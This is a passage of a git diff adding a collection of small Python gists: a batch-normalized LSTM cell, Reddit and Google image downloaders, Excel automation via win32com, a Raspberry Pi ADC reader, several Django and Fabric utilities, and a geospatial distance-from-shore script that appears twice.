+            pop_mean_all_steps = tf.get_variable('pop_mean', [self._max_bn_steps, size], initializer=tf.zeros_initializer, trainable=False)
+            pop_var_all_steps = tf.get_variable('pop_var', [self._max_bn_steps, size], initializer=tf.ones_initializer(), trainable=False)
+
+            step = tf.minimum(step, self._max_bn_steps - 1)
+
+            pop_mean = pop_mean_all_steps[step]
+            pop_var = pop_var_all_steps[step]
+
+            batch_mean, batch_var = tf.nn.moments(x, [0])
+
+            def batch_statistics():
+                pop_mean_new = pop_mean * self._decay + batch_mean * (1 - self._decay)
+                pop_var_new = pop_var * self._decay + batch_var * (1 - self._decay)
+                with tf.control_dependencies([pop_mean.assign(pop_mean_new), pop_var.assign(pop_var_new)]):
+                    return tf.nn.batch_normalization(x, batch_mean, batch_var, offset, scale, epsilon)
+
+            def population_statistics():
+                return tf.nn.batch_normalization(x, pop_mean, pop_var, offset, scale, epsilon)
+
+            return tf.cond(self._training, batch_statistics, population_statistics)
+
+    def __call__(self, x, state, scope=None):
+        with tf.variable_scope(scope or type(self).__name__):
+            c, h, step = state
+            _step = tf.squeeze(tf.gather(tf.cast(step, tf.int32), 0))
+
+            x_size = x.get_shape().as_list()[1]
+            W_xh = tf.get_variable('W_xh',
+                [x_size, 4 * self._num_units],
+                initializer=orthogonal_lstm_initializer())
+            W_hh = tf.get_variable('W_hh',
+                [self._num_units, 4 * self._num_units],
+                initializer=orthogonal_lstm_initializer())
+
+            hh = tf.matmul(h, W_hh)
+            xh = tf.matmul(x, W_xh)
+
+            bn_hh = self._batch_norm(hh, 'hh', _step, set_forget_gate_bias=True)
+            bn_xh = self._batch_norm(xh, 'xh', _step, no_offset=True)
+
+            hidden = bn_xh + bn_hh
+
+            f, i, o, j = tf.split(1, 4, hidden)
+
+            new_c = c * tf.sigmoid(f) + tf.sigmoid(i) * self._activation(j)
+            bn_new_c = self._batch_norm(new_c, 'c', _step)
+
+            new_h = self._activation(bn_new_c) * tf.sigmoid(o)
+            return new_h, (new_c, new_h, step+1)
+
+def orthogonal_lstm_initializer():
+    def orthogonal(shape, dtype=tf.float32, partition_info=None):
+        # taken from https://github.com/cooijmanstim/recurrent-batch-normalization
+        # taken from https://gist.github.com/kastnerkyle/f7464d98fe8ca14f2a1a
+        """ benanne lasagne ortho init (faster than qr approach)"""
+        flat_shape = (shape[0], np.prod(shape[1:]))
+        a = np.random.normal(0.0, 1.0, flat_shape)
+        u, _, v = np.linalg.svd(a, full_matrices=False)
+        q = u if u.shape == flat_shape else v  # pick the one with the correct shape
+        q = q.reshape(shape)
+        return tf.constant(q[:shape[0], :shape[1]], dtype)
+    return orthogonal
+
+def offset_initializer():
+    def _initializer(shape, dtype=tf.float32, partition_info=None):
+        size = shape[0]
+        assert size % 4 == 0
+        size = size // 4
+        res = [np.ones((size)), np.zeros((size*3))]
+        return tf.constant(np.concatenate(res, axis=0), dtype)
+    return _initializer
diff --git a/hard-gists/27bbd6895c0afb314879/._snippet.py b/hard-gists/27bbd6895c0afb314879/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/27bbd6895c0afb314879/._snippet.py differ
diff --git a/hard-gists/27bbd6895c0afb314879/snippet.py b/hard-gists/27bbd6895c0afb314879/snippet.py
new file mode 100644
index 00000000..a4e1aaa1
--- /dev/null
+++ b/hard-gists/27bbd6895c0afb314879/snippet.py
@@ -0,0 +1,31 @@
+from urllib.request import urlretrieve
+import praw
+
+
+# ID for Reddit to monitor
+user_agent = ("Wallpaper Downloader v1.0 by /u/80blite")
+r = praw.Reddit(user_agent=user_agent)
+
+# Subreddit objects
+wall_top_ten = r.get_subreddit('wallpapers').get_hot(limit=10)
+min_top_ten = r.get_subreddit('minimalwallpaper').get_hot(limit=10)
+
+# List of top 10 submissions from r/wallpapers
+wall_submissions = [submission for submission in wall_top_ten\
+    if "imgur.com/" in submission.url]
+
+# List of top 10 submissions from r/minimalwallpaper
+min_submissions = [submission for submission in min_top_ten\
+    if "imgur.com/" in submission.url]
+
+# Download to wall_path folder with given name
+for submission in wall_submissions:
+    wall_path =\
+        'c:/users/mike/desktop/Wallpapers/Popular/' + submission.title + '.jpg'
+    urlretrieve(submission.url, wall_path)
+
+# Download to min_path folder with given name
+for submission in min_submissions:
+    min_path =\
+        'c:/users/mike/desktop/Wallpapers/Minimalist/' + submission.title + '.jpg'
+    urlretrieve(submission.url, min_path)
diff --git a/hard-gists/27dd0d768ccede849051/._snippet.py b/hard-gists/27dd0d768ccede849051/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/27dd0d768ccede849051/._snippet.py differ
diff --git a/hard-gists/27dd0d768ccede849051/snippet.py b/hard-gists/27dd0d768ccede849051/snippet.py
new file mode 100644
index 00000000..26d6306a
--- /dev/null
+++ b/hard-gists/27dd0d768ccede849051/snippet.py
@@ -0,0 +1,206 @@
+"""
+An example of using PyWin32 and the win32com library to interact
+Microsoft Excel from Python. 
+
+This can be used instead of Visual Basic for Applications (VBA)
+
+(c) Michael Papasimeon
+"""
+
+import win32com.client
+from win32com.client import constants
+
+    # ExcelChart
+    # Creates a Microsoft Excel Chart given a data range
+    # and whole bunch of other parameters
+class ExcelChart:
+    def __init__(self, excel, workbook, chartname, afterSheet):
+        self.chartname = chartname
+        self.excel = excel
+        self.workbook = workbook
+        self.chartname = chartname
+        self.afterSheet = afterSheet
+
+    def SetTitle(self, chartTitle):
+        self.chartTitle = chartTitle
+
+    def SetType(self, chartType):
+        self.chartType = chartType
+
+    def SetSource(self, chartSource):
+        self.chartSource = chartSource
+
+    def SetPlotBy(self, plotBy):
+        self.plotBy = plotBy
+
+    def SetCategoryLabels(self, numCategoryLabels):
+        self.numCategoryLabels = numCategoryLabels
+
+    def SetSeriesLabels(self, numSeriesLabels):
+        self.numSeriesLabels = numSeriesLabels
+
+    def SetCategoryTitle(self, categoryTitle):
+        self.categoryTitle = categoryTitle
+
+    def SetValueTitle(self, valueTitle):
+        self.valueTitle = valueTitle
+
+    def CreateChart(self):
+        self.chart = self.workbook.Charts.Add(After=self.afterSheet)
+        self.chart.ChartWizard(Gallery=win32com.client.constants.xlColumn, \
+                               CategoryLabels=1, \
+                               SeriesLabels=1, \
+                               CategoryTitle = self.categoryTitle, \
+                               ValueTitle = self.valueTitle, \
+                               PlotBy=self.plotBy, \
+                               Title=self.chartTitle)
+        self.chart.SetSourceData(self.chartSource, self.plotBy)
+        self.chart.HasAxis = (constants.xlCategory, constants.xlPrimary)
+        self.chart.Axes(constants.xlCategory).HasTitle = 1
+        self.chart.Axes(constants.xlCategory).AxisTitle.Text = self.categoryTitle
+        self.chart.Axes(constants.xlValue).HasTitle = 1
+        self.chart.Axes(constants.xlValue).AxisTitle.Text = self.valueTitle
+        self.chart.Axes(constants.xlValue).AxisTitle.Orientation = constants.xlUpward
+        self.chart.PlotBy = self.plotBy 
+        self.chart.Name = self.chartname
+        self.chart.HasTitle = 1
+        self.chart.ChartTitle.Text = self.chartTitle
+        self.chart.HasDataTable = 0
+        self.chart.ChartType = self.chartType 
+
+    def SetLegendPosition(self, legendPosition):
+        self.chart.Legend.Position = legendPosition
+
+    def PlotByColumns(self):
+        self.chart.PlotBy = constants.xlColumns
+
+    def PlotByRows(self):
+        self.chart.PlotBy = constants.xlRows
+
+    def SetCategoryAxisRange(self, minValue, maxValue):
+        self.chart.Axes(constants.xlCategory).MinimumScale = minValue
+        self.chart.Axes(constants.xlCategory).MaximumScale = maxValue
+
+    def SetValueAxisRange(self, minValue, maxValue):
+        self.chart.Axes(constants.xlValue).MinimumScale = minValue
+        self.chart.Axes(constants.xlValue).MaximumScale = maxValue
+
+    def ApplyDataLabels(self, dataLabelType):
+        self.chart.ApplyDataLabels(dataLabelType)
+
+    def SetBorderLineStyle(self, lineStyle):
+        self.chart.PlotArea.Border.LineStyle = lineStyle
+
+    def SetInteriorStyle(self, interiorStyle):
+        self.chart.PlotArea.Interior.Pattern = interiorStyle
+
+    # ExcelWorksheet
+    # Creates an Excel Worksheet
+class ExcelWorksheet:
+    def __init__(self, excel, workbook, sheetname):
+        self.sheetname = sheetname
+        self.excel = excel
+        self.workbook = workbook
+        self.worksheet = self.workbook.Worksheets.Add()
+        self.worksheet.Name = sheetname
+    def Activate(self):
+        self.worksheet.Activate()
+    def SetCell(self, row, col, value):
+        self.worksheet.Cells(row,col).Value = value
+    def GetCell(self, row, col):
+        return self.worksheet.Cells(row,col).Value
+    def SetFont(self, row, col, font, size):
+        self.worksheet.Cells(row,col).Font.Name = font
+        self.worksheet.Cells(row,col).Font.Size = size
+    def GetFont(self, row, col):
+        font = self.worksheet.Cells(row,col).Font.Name
+        size = self.worksheet.Cells(row,col).Font.Size
+        return (font, size)
+
+    # ExcelWorkbook
+    # Creates an Excel Workbook
+class ExcelWorkbook:
+    def __init__(self, excel, filename):
+        self.filename = filename
+        self.excel = excel
+        self.workbook = self.excel.Workbooks.Add()
+        self.worksheets = {}
+    def AddWorksheet(self, name):
+        worksheet = ExcelWorksheet(self.excel, self.workbook, name)
+        self.worksheets[name] = worksheet
+        return worksheet
+    def AddChart(self, name, afterSheet):
+        chart = ExcelChart(self.excel, self.workbook, name, afterSheet)
+        self.worksheets[name] = chart
+        return chart
+    def Save(self):
+        self.workbook.SaveAs(self.filename)
+    def Close(self):      
+        self.worksheets = {}
+        self.workbook.Close()
+    def SetAuthor(self, author):
+        self.workbook.Author = author
+
+	# ExcelApp
+	# Encapsulates an Excel Application
+class ExcelApp:
+    def __init__(self):
+        self.excel = win32com.client.Dispatch("Excel.Application")
+        self.workbooks = []
+        self.SetDefaultSheetNum(1)
+    def Show(self):
+        self.excel.Visible = 1
+    def Hide(self):
+        self.excel.Visible = 0
+    def Quit(self):
+        for wkb in self.workbooks:
+            wkb.Close()
+        self.excel.Quit()
+    def SetDefaultSheetNum(self, numSheets):
+        self.excel.SheetsInNewWorkbook = numSheets
+    def AddWorkbook(self, filename):
+        workbook = ExcelWorkbook(self.excel, filename)
+        self.workbooks.append(workbook)
+        return workbook
+        
+def Main():
+    excel = ExcelApp()
+    excel.Show()
+    
+    workbook = excel.AddWorkbook("c:\\temp\\games1.xls")
+    
+    games = workbook.AddWorksheet("Game Sales")
+    accessories = workbook.AddWorksheet("Accessories")
+    
+    games.Activate()
+    
+    games.SetFont(1,1,"Arial",18)
+    games.SetCell(1,1, "Excel Controlled from Python - Game Sales")
+    
+    months = ["January", "February", "March"]
+    systems = ["Nintendo GameCube", "Sony Playstation 2", "Microsoft XBox"]
+    for i in range(len(months)): games.SetCell(3, i+2, months[i])
+    for j in range(len(systems)): games.SetCell(4 + j, 1, systems[j])
+    
+    for i in range(4,6+1):
+        for j in range(2,4+1):
+            games.SetCell(i,j, i*j)
+            
+    chart = workbook.AddChart("Gaming Sales Chart", games.worksheet)
+    chart.SetTitle("Games Sold by Platform Type per Month")
+    chart.SetSource(games.worksheet.Range("A3:D6"))
+    chart.SetType(win32com.client.constants.xlColumn)
+    chart.SetPlotBy(win32com.client.constants.xlRows)
+    chart.SetCategoryTitle("Months")
+    chart.SetValueTitle("Sales")
+    chart.SetCategoryLabels(1)
+    chart.SetSeriesLabels(1)
+    chart.CreateChart()
+    
+    workbook.Save()
+    
+    excel.Quit()
+    
+if __name__ == '__main__':
+    Main()
+    
diff --git a/hard-gists/27f33798d12317575c6c/._snippet.py b/hard-gists/27f33798d12317575c6c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/27f33798d12317575c6c/._snippet.py differ
diff --git a/hard-gists/27f33798d12317575c6c/snippet.py b/hard-gists/27f33798d12317575c6c/snippet.py
new file mode 100644
index 00000000..d95e06e1
--- /dev/null
+++ b/hard-gists/27f33798d12317575c6c/snippet.py
@@ -0,0 +1,65 @@
+#!/usr/bin/env python
+#
+# Analog Input with ADC0832 chip
+#
+# Datasheet: http://www.ti.com/lit/ds/symlink/adc0838-n.pdf
+# Part of SunFounder LCD StarterKit
+# http://www.sunfounder.com/index.php?c=show&id=21&model=LCD%20Starter%20Kit
+#
+
+import time
+import os
+import RPi.GPIO as GPIO
+
+GPIO.setmode(GPIO.BCM)
+
+# change these as desired - they're the pins connected from the
+# SPI port on the ADC to the Cobbler
+PIN_CLK = 18
+PIN_DO  = 27
+PIN_DI  = 22
+PIN_CS  = 17
+
+# set up the SPI interface pins
+GPIO.setup(PIN_DI,  GPIO.OUT)
+GPIO.setup(PIN_DO,  GPIO.IN)
+GPIO.setup(PIN_CLK, GPIO.OUT)
+GPIO.setup(PIN_CS,  GPIO.OUT)
+
+# read SPI data from ADC8032
+def getADC(channel):
+	# 1. CS LOW.
+        GPIO.output(PIN_CS, True)      # clear last transmission
+        GPIO.output(PIN_CS, False)     # bring CS low
+
+	# 2. Start clock
+        GPIO.output(PIN_CLK, False)  # start clock low
+
+	# 3. Input MUX address
+        for i in [1,1,channel]: # start bit + mux assignment
+                 if (i == 1):
+                         GPIO.output(PIN_DI, True)
+                 else:
+                         GPIO.output(PIN_DI, False)
+
+                 GPIO.output(PIN_CLK, True)
+                 GPIO.output(PIN_CLK, False)
+
+        # 4. read 8 ADC bits
+        ad = 0
+        for i in range(8):
+                GPIO.output(PIN_CLK, True)
+                GPIO.output(PIN_CLK, False)
+                ad <<= 1 # shift bit
+                if (GPIO.input(PIN_DO)):
+                        ad |= 0x1 # set first bit
+
+        # 5. reset
+        GPIO.output(PIN_CS, True)
+
+        return ad
+
+if __name__ == "__main__":
+        while True:
+                print "ADC[0]: {}\t ADC[1]: {}".format(getADC(0), getADC(1))
+                time.sleep(1)
\ No newline at end of file
diff --git a/hard-gists/2816295/._snippet.py b/hard-gists/2816295/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2816295/._snippet.py differ
diff --git a/hard-gists/2816295/snippet.py b/hard-gists/2816295/snippet.py
new file mode 100644
index 00000000..33e892e0
--- /dev/null
+++ b/hard-gists/2816295/snippet.py
@@ -0,0 +1,54 @@
+import json
+import os
+import time
+import requests
+from PIL import Image
+from StringIO import StringIO
+from requests.exceptions import ConnectionError
+
+def go(query, path):
+  """Download full size images from Google image search.
+
+  Don't print or republish images without permission.
+  I used this to train a learning algorithm.
+  """
+  BASE_URL = 'https://ajax.googleapis.com/ajax/services/search/images?'\
+             'v=1.0&q=' + query + '&start=%d'
+
+  BASE_PATH = os.path.join(path, query)
+
+  if not os.path.exists(BASE_PATH):
+    os.makedirs(BASE_PATH)
+
+  start = 0 # Google's start query string parameter for pagination.
+  while start < 60: # Google will only return a max of 56 results.
+    r = requests.get(BASE_URL % start)
+    for image_info in json.loads(r.text)['responseData']['results']:
+      url = image_info['unescapedUrl']
+      try:
+        image_r = requests.get(url)
+      except ConnectionError, e:
+        print 'could not download %s' % url
+        continue
+
+      # Remove file-system path characters from name.
+      title = image_info['titleNoFormatting'].replace('/', '').replace('\\', '')
+
+      file = open(os.path.join(BASE_PATH, '%s.jpg') % title, 'w')
+      try:
+        Image.open(StringIO(image_r.content)).save(file, 'JPEG')
+      except IOError, e:
+        # Throw away some gifs...blegh.
+        print 'could not save %s' % url
+        continue
+      finally:
+        file.close()
+
+    print start
+    start += 4 # 4 images per page.
+
+    # Be nice to Google and they'll be nice back :)
+    time.sleep(1.5)
+
+# Example use
+go('landscape', 'myDirectory')
\ No newline at end of file
diff --git a/hard-gists/2821234/._snippet.py b/hard-gists/2821234/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2821234/._snippet.py differ
diff --git a/hard-gists/2821234/snippet.py b/hard-gists/2821234/snippet.py
new file mode 100644
index 00000000..ba398324
--- /dev/null
+++ b/hard-gists/2821234/snippet.py
@@ -0,0 +1,21 @@
+from django.core.cache import cache
+from django.core.urlresolvers import reverse
+from django.http import HttpRequest
+from django.utils.cache import get_cache_key
+
+def expire_page_cache(view, args=None):
+    """
+    Removes cache created by cache_page functionality. 
+    Parameters are used as they are in reverse()
+    """
+
+    if args is None:
+        path = reverse(view)
+    else:
+        path = reverse(view, args=args)
+
+    request = HttpRequest()
+    request.path = path
+    key = get_cache_key(request)
+    if cache.has_key(key):
+        cache.delete(key)
\ No newline at end of file
diff --git a/hard-gists/2821544/._snippet.py b/hard-gists/2821544/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2821544/._snippet.py differ
diff --git a/hard-gists/2821544/snippet.py b/hard-gists/2821544/snippet.py
new file mode 100644
index 00000000..669debd6
--- /dev/null
+++ b/hard-gists/2821544/snippet.py
@@ -0,0 +1,34 @@
+# -*- coding: utf-8 -*-
+
+import os
+import time
+import settings
+from fabric.contrib.console import confirm
+
+from fabric.api import local, settings as fabric_settings, env, cd, run, sudo
+
+env.hosts = ['domain_or_ip']
+env.user = 'user'
+env.path = '/home/user/webapps/project_name'
+
+def start():
+    sudo('/etc/init.d/nginx start')
+
+def deploy():
+    update_code()
+    with cd(env.app_path):
+        run("python manage.py collectstatic --noinput")
+
+    update_database()
+    start()
+
+def update_code():
+    with cd(env.app_path):
+        run("git pull")
+
+def update_database():
+    with cd(env.path):
+        run("python manage.py syncdb")
+
+def restart_nginx():
+    sudo('/etc/init.d/nginx restart')
\ No newline at end of file
diff --git a/hard-gists/2830057/._snippet.py b/hard-gists/2830057/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2830057/._snippet.py differ
diff --git a/hard-gists/2830057/snippet.py b/hard-gists/2830057/snippet.py
new file mode 100644
index 00000000..046221b4
--- /dev/null
+++ b/hard-gists/2830057/snippet.py
@@ -0,0 +1,59 @@
+import urlparse
+import re
+from django.db import models
+from django import  forms
+
+
+def validate_youtube_url(value):
+    '''El patron lo saque de http://stackoverflow.com/questions/2964678/jquery-youtube-url-validation-with-regex'''
+    pattern = r'^http:\/\/(?:www\.)?youtube.com\/watch\?(?=.*v=\w+)(?:\S+)?$'
+
+    if value[:16] == 'http://youtu.be/':
+        if re.match(r'\w+', value[16:]) is None:
+            raise forms.ValidationError(_('Not a valid Youtube URL'))
+    elif re.match(pattern, value) is None:
+        raise forms.ValidationError(_('Not a valid Youtube URL'))
+
+
+class YoutubeUrl(unicode):
+    @property
+    def video_id(self):
+        parsed_url = urlparse.urlparse(self)
+        if parsed_url.query == '':
+            return parsed_url.path
+        return urlparse.parse_qs(parsed_url.query)['v'][0]
+
+    @property
+    def embed_url(self):
+        return 'http://youtube.com/embed/%s/' % self.video_id
+
+    @property
+    def thumb(self):
+        return "http://img.youtube.com/vi/%s/2.jpg" % self.video_id
+
+
+
+
+class YoutubeUrlField(models.URLField):
+    __metaclass__ = models.SubfieldBase
+
+    def __init__(self, *args, **kwargs):
+        super(YoutubeUrlField, self).__init__(*args, **kwargs)
+        self.validators.append(validate_youtube_url)
+
+    def to_python(self, value):
+
+        url = super(YoutubeUrlField, self).to_python(value)
+
+        return YoutubeUrl(url)
+
+    def get_prep_value(self, value):
+        return unicode(value)
+
+
+
+try:
+    from south.modelsinspector import add_introspection_rules
+    add_introspection_rules([],  ["^fields\.YoutubeUrlField"])
+except ImportError:
+    pass
diff --git a/hard-gists/2836237/._snippet.py b/hard-gists/2836237/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2836237/._snippet.py differ
diff --git a/hard-gists/2836237/snippet.py b/hard-gists/2836237/snippet.py
new file mode 100644
index 00000000..76211228
--- /dev/null
+++ b/hard-gists/2836237/snippet.py
@@ -0,0 +1,51 @@
+# Example based on http://lukeplant.me.uk/blog/posts/djangos-cbvs-were-a-mistake/
+# Not tested, just designed to give a general idea of the games CBVs let you play
+from django.core.urlresolvers import reverse_lazy
+from django.views.generic.edit import ProcessFormView
+
+# Utilities for interacting with a user
+class UserViewMixin(object):
+    _high_priority_user = None
+
+    @property
+    def high_priority_user(self):
+        if self._high_priority_user is None:
+            user = self.request.user
+            self._high_priority = (not user.is_anonymous() and user.get_profile().high_priority)
+        return self._high_priority_user
+
+    def send_message(self, details):
+        email = details['email']
+        message = details['message']
+        send_contact_message(email, message)
+        if self.high_priority_user and details['urgent']:
+             send_text_message(email, message)
+
+    def get_contact_details(self):
+        user = self.request.user
+        if user.is_anonymous():
+            return {}
+        return {'email' : user.email}
+
+
+# Put custom mixins first, since we can ensure they play nice with multiple inheritance
+class ContactView(UserViewMixin, ProcessFormView):
+    template_name = 'contact.html'
+    success_url = reverse_lazy('contact_thanks')
+
+    def get_form_class(self):
+        return HighPriorityContactForm if self.high_priority_user else ContactForm
+
+    def get_initial(self):
+        initial = super(ContactView, self).get_initial()
+        initial.update(self.get_contact_details())
+        return initial
+
+    def form_valid(self, form):
+        self.send_message(form.cleaned_data)
+        return super(ContactView, self).form_valid(form)
+
+    def get_context_data(self, **kwargs):
+        context = super(ContactView, self).get_context_data(**kwargs)
+        context['high_priority_user'] = self.high_priority_user
+        return context
\ No newline at end of file
diff --git a/hard-gists/283860/._snippet.py b/hard-gists/283860/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/283860/._snippet.py differ
diff --git a/hard-gists/283860/snippet.py b/hard-gists/283860/snippet.py
new file mode 100644
index 00000000..02845d3e
--- /dev/null
+++ b/hard-gists/283860/snippet.py
@@ -0,0 +1,138 @@
+#!/usr/bin/env python
+# distance_from_shore.py: compute true distance between points 
+# and closest geometry.
+
+# shaun walbridge, 2012.05.15
+
+# TODO: no indexing used currently, could stand if performance needs 
+# improving (currently runs in ~1.5hr for 13k points)
+
+from geopy import distance
+from osgeo import ogr
+from shapely.geometry import Point, MultiPolygon
+from shapely.wkt import dumps, loads
+
+import math
+import sys
+
+# pairs iterator:
+# http://stackoverflow.com/questions/1257413/1257446#1257446
+def pairs(lst):
+    i = iter(lst)
+    first = prev = i.next()
+    for item in i:
+        yield prev, item
+        prev = item
+    yield item, first
+
+# these methods rewritten from the C version of Paul Bourke's
+# geometry computations:
+# http://local.wasp.uwa.edu.au/~pbourke/geometry/pointline/
+def magnitude(p1, p2):
+    vect_x = p2.x - p1.x
+    vect_y = p2.y - p1.y
+    return math.sqrt(vect_x**2 + vect_y**2)
+
+def intersect_point_to_line(point, line_start, line_end):
+    line_magnitude =  magnitude(line_end, line_start)
+    u = ((point.x - line_start.x) * (line_end.x - line_start.x) + \
+         (point.y - line_start.y) * (line_end.y - line_start.y)) \
+         / (line_magnitude ** 2)
+    intersect_point = None
+    # closest point does not fall within the line segment, 
+    # take the shorter distance to an endpoint
+    if u < 0.00001 or u > 1:
+        ix = magnitude(point, line_start)
+        iy = magnitude(point, line_end)
+        if ix > iy:
+            intersect_point = line_end
+        else:
+            intersect_point = line_start
+    else:
+        ix = line_start.x + u * (line_end.x - line_start.x)
+        iy = line_start.y + u * (line_end.y - line_start.y)
+        intersect_point = Point([ix, iy])
+    return intersect_point
+
+# convert OGR readable format to WKT representation
+def ogrWkt2Shapely(input_shape):
+    # this throws away the other attributes of the feature, but is 
+    # sufficient in this use case
+    shapely_objects=[]
+    shp = ogr.Open(input_shape)
+    lyr = shp.GetLayer()
+    for n in range(0, lyr.GetFeatureCount()):
+        feat = lyr.GetFeature(n)
+        wkt_feat = loads(feat.geometry().ExportToWkt())
+        shapely_objects.append(wkt_feat)
+    return shapely_objects
+
+def toLon(x):
+    if x > 180:
+        lon = x - 360
+    else:
+        lon = x
+    return lon
+
+# use the vincenty formula to get accurate distance measurements
+def sphereDistance(from_point, to_point):
+    distance.VincentyDistance.ELLIPSOID = 'WGS-84'
+    return distance.distance((toLon(from_point.x), from_point.y), \
+                             (toLon(to_point.x), to_point.y))
+
+def findIntersectionPoint(from_point, to_polygon):
+    nearest_point = None
+    min_dist = float(sys.maxint)
+    for seg_start, seg_end in pairs(list(to_polygon.exterior.coords)[:-1]):
+        line_start = Point(seg_start)
+        line_end = Point(seg_end)
+        intersection_point = intersect_point_to_line(from_point, line_start, line_end)
+        cur_dist =  magnitude(from_point, intersection_point)
+        if cur_dist < min_dist:
+            min_dist = cur_dist
+            nearest_point = intersection_point
+    return nearest_point
+
+def computeLinearDistance(from_point, to_polygon):
+    # first, find the intersection point with the geometry
+    to_point = findIntersectionPoint(from_point, to_polygon)
+    # compute the distance on the sphere
+    dist = sphereDistance(from_point, to_point)
+    print "from %s to %s: %f" % (from_point.wkt, to_point.wkt, dist.meters)
+    return dist.meters
+
+
+def computeDistance(from_geom, to_geom):
+    min_dist = float(sys.maxint)
+    for g in to_geom:
+        # returns results in DD, approximate true dist
+        dist = g.distance(from_geom) * 111 * 1000
+        if dist < min_dist:
+            #print "computed dist: %f" % dist
+            min_dist = dist
+            to_poly = g
+    return computeLinearDistance(from_geom, to_poly)
+
+data_dir = '/data/project/marinesdm/Original_Datasets/' + \
+    'Supporting_Datasets/Land_Mask_SRTM_SWBD_GSHHS'
+
+# around 200m of memory RES with these two objects loaded
+print "loading data...",
+sys.stdout.flush()
+land = ogrWkt2Shapely("%s/%s" % \
+    (data_dir, 'merge_swbd_gshhs_land_corals.shp'))
+sites = ogrWkt2Shapely("%s/%s" % \
+    (data_dir, 'sites_rasterized.shp'))
+print " done."
+sys.stdout.flush()
+
+distances = []
+f = open("%s/%s" % (data_dir, 'dists.csv'), 'w')
+i = 1
+for site in sites:
+    if i % 10 == 0:
+        print "%i..." % i
+    dist = computeDistance(site, land)
+    f.write("%f,%f,%f\n" % (toLon(site.x), site.y, dist))
+    i+=1
+f.close()
diff --git a/hard-gists/2838603/._snippet.py b/hard-gists/2838603/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2838603/._snippet.py differ
diff --git a/hard-gists/2838603/snippet.py b/hard-gists/2838603/snippet.py
new file mode 100644
index 00000000..02845d3e
--- /dev/null
+++ b/hard-gists/2838603/snippet.py
@@ -0,0 +1,138 @@
+#!/usr/bin/env python
+# distance_from_shore.py: compute true distance between points 
+# and closest geometry.
+
+# shaun walbridge, 2012.05.15
+
+# TODO: no indexing used currently, could stand if performance needs 
+# improving (currently runs in ~1.5hr for 13k points)
+
+from geopy import distance
+from osgeo import ogr
+from shapely.geometry import Point, MultiPolygon
+from shapely.wkt import dumps, loads
+
+import math
+import sys
+
+# pairs iterator:
+# http://stackoverflow.com/questions/1257413/1257446#1257446
+def pairs(lst):
+    i = iter(lst)
+    first = prev = i.next()
+    for item in i:
+        yield prev, item
+        prev = item
+    yield item, first
+
+# these methods rewritten from the C version of Paul Bourke's
+# geometry computations:
+# http://local.wasp.uwa.edu.au/~pbourke/geometry/pointline/
+def magnitude(p1, p2):
+    vect_x = p2.x - p1.x
+    vect_y = p2.y - p1.y
+    return math.sqrt(vect_x**2 + vect_y**2)
+
+def intersect_point_to_line(point, line_start, line_end):
+    line_magnitude =  magnitude(line_end, line_start)
+    u = ((point.x - line_start.x) * (line_end.x - line_start.x) + \
+         (point.y - line_start.y) * (line_end.y - line_start.y)) \
+         / (line_magnitude ** 2)
+    intersect_point = None
+    # closest point does not fall within the line segment, 
+    # take the shorter distance to an endpoint
+    if u < 0.00001 or u > 1:
+        ix = magnitude(point, line_start)
+        iy = magnitude(point, line_end)
+        if ix > iy:
+            intersect_point = line_end
+        else:
+            intersect_point = line_start
+    else:
+        ix = line_start.x + u * (line_end.x - line_start.x)
+        iy = line_start.y + u * (line_end.y - line_start.y)
+        intersect_point = Point([ix, iy])
+    return intersect_point
+
+# convert OGR readable format to WKT representation
+def ogrWkt2Shapely(input_shape):
+    # this throws away the other attributes of the feature, but is 
+    # sufficient in this use case
+    shapely_objects=[]
+    shp = ogr.Open(input_shape)
+    lyr = shp.GetLayer()
+    for n in range(0, lyr.GetFeatureCount()):
+        feat = lyr.GetFeature(n)
+        wkt_feat = loads(feat.geometry().ExportToWkt())
+        shapely_objects.append(wkt_feat)
+    return shapely_objects
+
+def toLon(x):
+    if x > 180:
+        lon = x - 360
+    else:
+        lon = x
+    return lon
+
+# use the vincenty formula to get accurate distance measurements
+def sphereDistance(from_point, to_point):
+    distance.VincentyDistance.ELLIPSOID = 'WGS-84'
+    return distance.distance((toLon(from_point.x), from_point.y), \
+                             (toLon(to_point.x), to_point.y))
+
+def findIntersectionPoint(from_point, to_polygon):
+    nearest_point = None
+    min_dist = float(sys.maxint)
+    for seg_start, seg_end in pairs(list(to_polygon.exterior.coords)[:-1]):
+        line_start = Point(seg_start)
+        line_end = Point(seg_end)
+        intersection_point = intersect_point_to_line(from_point, line_start, line_end)
+        cur_dist =  magnitude(from_point, intersection_point)
+        if cur_dist < min_dist:
+            min_dist = cur_dist
+            nearest_point = intersection_point
+    return nearest_point
+
+def computeLinearDistance(from_point, to_polygon):
+    # first, find the intersection point with the geometry
+    to_point = findIntersectionPoint(from_point, to_polygon)
+    # compute the distance on the sphere
+    dist = sphereDistance(from_point, to_point)
+    print "from %s to %s: %f" % (from_point.wkt, to_point.wkt, dist.meters)
+    return dist.meters
+
+
+def computeDistance(from_geom, to_geom):
+    min_dist = float(sys.maxint)
+    for g in to_geom:
+        # returns results in DD, approximate true dist
+        dist = g.distance(from_geom) * 111 * 1000
+        if dist < min_dist:
+            #print "computed dist: %f" % dist
+            min_dist = dist
+            to_poly = g
+    return computeLinearDistance(from_geom, to_poly)
+
+data_dir = '/data/project/marinesdm/Original_Datasets/' + \
+    'Supporting_Datasets/Land_Mask_SRTM_SWBD_GSHHS'
+
+# around 200m of memory RES with these two objects loaded
+print "loading data...",
+sys.stdout.flush()
+land = ogrWkt2Shapely("%s/%s" % \
+    (data_dir, 'merge_swbd_gshhs_land_corals.shp'))
+sites = ogrWkt2Shapely("%s/%s" % \
+    (data_dir, 'sites_rasterized.shp'))
+print " done."
+sys.stdout.flush()
+
+distances = []
+f = open("%s/%s" % (data_dir, 'dists.csv'), 'w')
+i = 1
